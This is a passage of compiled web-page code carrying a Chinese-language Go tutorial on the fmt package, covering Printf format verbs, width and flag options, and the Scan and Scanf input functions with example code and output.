",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'fmt.Printf("%v\\n", 100)\nfmt.Printf("%v\\n", false)\no := struct{ name string }{"\u5c0f\u738b\u5b50"}\nfmt.Printf("%v\\n", o)\nfmt.Printf("%#v\\n", o)\nfmt.Printf("%T\\n", o)\nfmt.Printf("100%%\\n")\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:'100\nfalse\n{\u5c0f\u738b\u5b50}\nstruct { name string }{name:"\u5c0f\u738b\u5b50"}\nstruct { name string }\n100%\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u5e03\u5c14\u578b",children:"\u5e03\u5c14\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%t"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"true\u6216false"})]})})]}),"\n",(0,s.jsx)(e.h3,{id:"\u6574\u578b",children:"\u6574\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%b"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u4e8c\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%c"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684unicode\u7801\u503c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%d"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%o"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u516b\u8fdb\u5236"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%x"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u4f7f\u7528a-f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%X"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u4f7f\u7528A-F"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%U"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3aUnicode\u683c\u5f0f\uff1aU+1234\uff0c\u7b49\u4ef7\u4e8e\u201dU+%04X\u201d"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%q"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684\u5355\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u8bed\u6cd5\u5b57\u7b26\u5b57\u9762\u503c\uff0c\u5fc5\u8981\u65f6\u4f1a\u91c7\u7528\u5b89\u5168\u7684\u8f6c\u4e49\u8868\u793a"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'n := 65\nfmt.Printf("%b\\n", n)\nfmt.Printf("%c\\n", n)\nfmt.Printf("%d\\n", n)\nfmt.Printf("%o\\n", n)\nfmt.Printf("%x\\n", n)\nfmt.Printf("%X\\n", n)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"1000001\nA\n65\n101\n41\n41\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570",children:"\u6d6e\u70b9\u6570\u4e0e\u590d\u6570"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%b"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u5c0f\u6570\u90e8\u5206\u3001\u4e8c\u8fdb\u5236\u6307\u6570\u7684\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-123456p-78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%e"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-1234.456e+78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%E"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u5982-1234.456E+78"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u5c0f\u6570\u90e8\u5206\u4f46\u65e0\u6307\u6570\u90e8\u5206\uff0c\u5982123.456"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%F"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u7b49\u4ef7\u4e8e%f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%g"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u91c7\u7528%e\u6216%f\u683c\u5f0f\uff08\u4ee5\u83b7\u5f97\u66f4\u7b80\u6d01\u3001\u51c6\u786e\u7684\u8f93\u51fa\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%G"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u91c7\u7528%E\u6216%F\u683c\u5f0f\uff08\u4ee5\u83b7\u5f97\u66f4\u7b80\u6d01\u3001\u51c6\u786e\u7684\u8f93\u51fa\uff09"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'f := 12.34\nfmt.Printf("%b\\n", f)\nfmt.Printf("%e\\n", f)\nfmt.Printf("%E\\n", f)\nfmt.Printf("%f\\n", f)\nfmt.Printf("%g\\n", f)\nfmt.Printf("%G\\n", f)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"6946802425218990p-49\n1.234000e+01\n1.234000E+01\n12.340000\n12.34\n12.34\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u548cbyte",children:"\u5b57\u7b26\u4e32\u548c[]byte"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%s"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u76f4\u63a5\u8f93\u51fa\u5b57\u7b26\u4e32\u6216\u8005[]byte"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%q"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8be5\u503c\u5bf9\u5e94\u7684\u53cc\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u8bed\u6cd5\u5b57\u7b26\u4e32\u5b57\u9762\u503c\uff0c\u5fc5\u8981\u65f6\u4f1a\u91c7\u7528\u5b89\u5168\u7684\u8f6c\u4e49\u8868\u793a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%x"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bcf\u4e2a\u5b57\u8282\u7528\u4e24\u5b57\u7b26\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\uff08\u4f7f\u7528a-f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%X"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bcf\u4e2a\u5b57\u8282\u7528\u4e24\u5b57\u7b26\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\uff08\u4f7f\u7528A-F\uff09"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s := "\u5c0f\u738b\u5b50"\nfmt.Printf("%s\\n", s)\nfmt.Printf("%q\\n", s)\nfmt.Printf("%x\\n", s)\nfmt.Printf("%X\\n", s)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:'\u5c0f\u738b\u5b50\n"\u5c0f\u738b\u5b50"\ne5b08fe78e8be5ad90\nE5B08FE78E8BE5AD90\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u6307\u9488",children:"\u6307\u9488"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%p"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u8868\u793a\u4e3a\u5341\u516d\u8fdb\u5236\uff0c\u5e76\u52a0\u4e0a\u524d\u5bfc\u76840x"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'a := 10\nfmt.Printf("%p\\n", &a)\nfmt.Printf("%#p\\n", &a)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"0xc000094000\nc000094000\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5bbd\u5ea6\u6807\u8bc6\u7b26",children:"\u5bbd\u5ea6\u6807\u8bc6\u7b26"}),"\n",(0,s.jsx)(e.p,{children:"\u5bbd\u5ea6\u901a\u8fc7\u4e00\u4e2a\u7d27\u8ddf\u5728\u767e\u5206\u53f7\u540e\u9762\u7684\u5341\u8fdb\u5236\u6570\u6307\u5b9a\uff0c\u5982\u679c\u672a\u6307\u5b9a\u5bbd\u5ea6\uff0c\u5219\u8868\u793a\u503c\u65f6\u9664\u5fc5\u9700\u4e4b\u5916\u4e0d\u4f5c\u586b\u5145\u3002\u7cbe\u5ea6\u901a\u8fc7\uff08\u53ef\u9009\u7684\uff09\u5bbd\u5ea6\u540e\u8ddf\u70b9\u53f7\u540e\u8ddf\u7684\u5341\u8fdb\u5236\u6570\u6307\u5b9a\u3002\u5982\u679c\u672a\u6307\u5b9a\u7cbe\u5ea6\uff0c\u4f1a\u4f7f\u7528\u9ed8\u8ba4\u7cbe\u5ea6\uff1b\u5982\u679c\u70b9\u53f7\u540e\u6ca1\u6709\u8ddf\u6570\u5b57\uff0c\u8868\u793a\u7cbe\u5ea6\u4e3a0\u3002\u4e3e\u4f8b\u5982\u4e0b\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u9ed8\u8ba4\u5bbd\u5ea6\uff0c\u9ed8\u8ba4\u7cbe\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u9ed8\u8ba4\u7cbe\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%.2f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u9ed8\u8ba4\u5bbd\u5ea6\uff0c\u7cbe\u5ea62"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9.2f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u7cbe\u5ea62"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"%9.f"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bbd\u5ea69\uff0c\u7cbe\u5ea60"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'n := 12.34\nfmt.Printf("%f\\n", n)\nfmt.Printf("%9f\\n", n)\nfmt.Printf("%.2f\\n", n)\nfmt.Printf("%9.2f\\n", n)\nfmt.Printf("%9.f\\n", n)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"12.340000\n12.340000\n12.34\n 12.34\n 12\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5176\u4ed6flag",children:"\u5176\u4ed6flag"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5360\u4f4d\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8bf4\u660e"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019+\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u603b\u662f\u8f93\u51fa\u6570\u503c\u7684\u6b63\u8d1f\u53f7\uff1b\u5bf9%q\uff08%+q\uff09\u4f1a\u751f\u6210\u5168\u90e8\u662fASCII\u5b57\u7b26\u7684\u8f93\u51fa\uff08\u901a\u8fc7\u8f6c\u4e49\uff09\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019 \u2018"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5bf9\u6570\u503c\uff0c\u6b63\u6570\u524d\u52a0\u7a7a\u683c\u800c\u8d1f\u6570\u524d\u52a0\u8d1f\u53f7\uff1b\u5bf9\u5b57\u7b26\u4e32\u91c7\u7528%x\u6216%X\u65f6\uff08% x\u6216% X\uff09\u4f1a\u7ed9\u5404\u6253\u5370\u7684\u5b57\u8282\u4e4b\u95f4\u52a0\u7a7a\u683c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019-\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5728\u8f93\u51fa\u53f3\u8fb9\u586b\u5145\u7a7a\u767d\u800c\u4e0d\u662f\u9ed8\u8ba4\u7684\u5de6\u8fb9\uff08\u5373\u4ece\u9ed8\u8ba4\u7684\u53f3\u5bf9\u9f50\u5207\u6362\u4e3a\u5de6\u5bf9\u9f50\uff09\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u2019#\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u516b\u8fdb\u5236\u6570\u524d\u52a00\uff08%#o\uff09\uff0c\u5341\u516d\u8fdb\u5236\u6570\u524d\u52a00x\uff08%#x\uff09\u62160X\uff08%#X\uff09\uff0c\u6307\u9488\u53bb\u6389\u524d\u9762\u76840x\uff08%#p\uff09\u5bf9%q\uff08%#q\uff09\uff0c\u5bf9%U\uff08%#U\uff09\u4f1a\u8f93\u51fa\u7a7a\u683c\u548c\u5355\u5f15\u53f7\u62ec\u8d77\u6765\u7684go\u5b57\u9762\u503c\uff1b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u20180\u2019"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u4f7f\u75280\u800c\u4e0d\u662f\u7a7a\u683c\u586b\u5145\uff0c\u5bf9\u4e8e\u6570\u503c\u7c7b\u578b\u4f1a\u628a\u586b\u5145\u76840\u653e\u5728\u6b63\u8d1f\u53f7\u540e\u9762\uff1b"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s := "\u5c0f\u738b\u5b50"\nfmt.Printf("%s\\n", s)\nfmt.Printf("%5s\\n", s)\nfmt.Printf("%-5s\\n", s)\nfmt.Printf("%5.7s\\n", s)\nfmt.Printf("%-5.7s\\n", s)\nfmt.Printf("%5.2s\\n", s)\nfmt.Printf("%05s\\n", s)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"\u5c0f\u738b\u5b50\n \u5c0f\u738b\u5b50\n\u5c0f\u738b\u5b50 \n \u5c0f\u738b\u5b50\n\u5c0f\u738b\u5b50 \n \u5c0f\u738b\n00\u5c0f\u738b\u5b50\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u83b7\u53d6\u8f93\u5165",children:"\u83b7\u53d6\u8f93\u5165"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00",(0,s.jsx)(e.code,{children:"fmt"}),"\u5305\u4e0b\u6709",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ef\u4ee5\u5728\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u4ece\u6807\u51c6\u8f93\u5165\u83b7\u53d6\u7528\u6237\u7684\u8f93\u5165\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"fmtscan",children:"fmt.Scan"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u5b9a\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scan(a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scan\u4ece\u6807\u51c6\u8f93\u5165\u626b\u63cf\u6587\u672c\uff0c\u8bfb\u53d6\u7531\u7a7a\u767d\u7b26\u5206\u9694\u7684\u503c\u4fdd\u5b58\u5230\u4f20\u9012\u7ed9\u672c\u51fd\u6570\u7684\u53c2\u6570\u4e2d\uff0c\u6362\u884c\u7b26\u89c6\u4e3a\u7a7a\u767d\u7b26\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002\u5982\u679c\u8bfb\u53d6\u7684\u6570\u636e\u4e2a\u6570\u6bd4\u63d0\u4f9b\u7684\u53c2\u6570\u5c11\uff0c\u4f1a\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\u62a5\u544a\u539f\u56e0\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scan(&name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u626b\u63cf\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\uff0c\u5c06\u4ee5\u7a7a\u767d\u7b26\u5206\u9694\u7684\u6570\u636e\u5206\u522b\u5b58\u5165\u6307\u5b9a\u7684\u53c2\u6570\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"fmtscanf",children:"fmt.Scanf"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scanf(format string, a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scanf\u4ece\u6807\u51c6\u8f93\u5165\u626b\u63cf\u6587\u672c\uff0c\u6839\u636eformat\u53c2\u6570\u6307\u5b9a\u7684\u683c\u5f0f\u53bb\u8bfb\u53d6\u7531\u7a7a\u767d\u7b26\u5206\u9694\u7684\u503c\u4fdd\u5b58\u5230\u4f20\u9012\u7ed9\u672c\u51fd\u6570\u7684\u53c2\u6570\u4e2d\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scanf("1:%s 2:%d 3:%t", &name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u6309\u7167\u6307\u5b9a\u7684\u683c\u5f0f\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n1:\u5c0f\u738b\u5b50 2:28 3:false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u4e0d\u540c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u7b80\u5355\u7684\u4ee5\u7a7a\u683c\u4f5c\u4e3a\u8f93\u5165\u6570\u636e\u7684\u5206\u9694\u7b26\uff0c",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u4e3a\u8f93\u5165\u6570\u636e\u6307\u5b9a\u4e86\u5177\u4f53\u7684\u8f93\u5165\u5185\u5bb9\u683c\u5f0f\uff0c\u53ea\u6709\u6309\u7167\u683c\u5f0f\u8f93\u5165\u6570\u636e\u624d\u4f1a\u88ab\u626b\u63cf\u5e76\u5b58\u5165\u5bf9\u5e94\u53d8\u91cf\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u6211\u4eec\u8fd8\u662f\u6309\u7167\u4e0a\u4e2a\u793a\u4f8b\u4e2d\u4ee5\u7a7a\u683c\u5206\u9694\u7684\u65b9\u5f0f\u8f93\u5165\uff0c",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u5c31\u4e0d\u80fd\u6b63\u786e\u626b\u63cf\u5230\u8f93\u5165\u7684\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name: age:0 married:false \n"})}),"\n",(0,s.jsx)(e.h3,{id:"fmtscanln",children:"fmt.Scanln"}),"\n",(0,s.jsx)(e.p,{children:"\u51fd\u6570\u7b7e\u540d\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Scanln(a ...interface{}) (n int, err 